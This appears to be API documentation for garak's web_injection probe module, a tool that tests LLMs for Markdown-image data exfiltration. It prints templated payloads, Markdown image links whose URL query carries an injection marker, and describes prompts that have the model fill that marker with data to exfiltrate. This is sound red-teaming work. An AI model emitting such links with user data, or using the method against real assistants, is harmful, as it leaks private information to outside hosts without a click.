garak.probes.web_injection

Web Injection

Test for weaknesses that permit or enact injection attacks against websites, such as private data exfiltration (CSRF) or script injection (XSS).

Probes in this module should attempt injection attacks.

Bases: MarkdownExfilMixin, Probe

Generalized implementation of data exfiltration exploits through Markdown URIs.

This class focuses on Markdown that directly attempts to render the image associated with the URI, resulting in zero-click data exfiltration. Inspired by Markdown URI formats suggested in https://www.aim.security/lp/aim-labs-echoleak-blogpost

Markdown formats generated:

``![Link display text](https://{domain}/logo.png?{var}=[{injection_marker}])``
``![Link display text][ref]\n\n[ref]: https://{domain}/logo.png?{var}=[{injection_marker}]``
``![Link display text][ref]\n\n[Link display text]: https://{domain}/logo.png?{var}=[{injection_marker}]``
``![Link display text][ref]\n\n[Link display text]: https://{domain}/logo.png?{var}=[{injection_marker}]``

Prompts instruct the LLM to generate one of the above Markdown formatted URIs replacing the injection_marker with some sort of information to be exfiltrated.
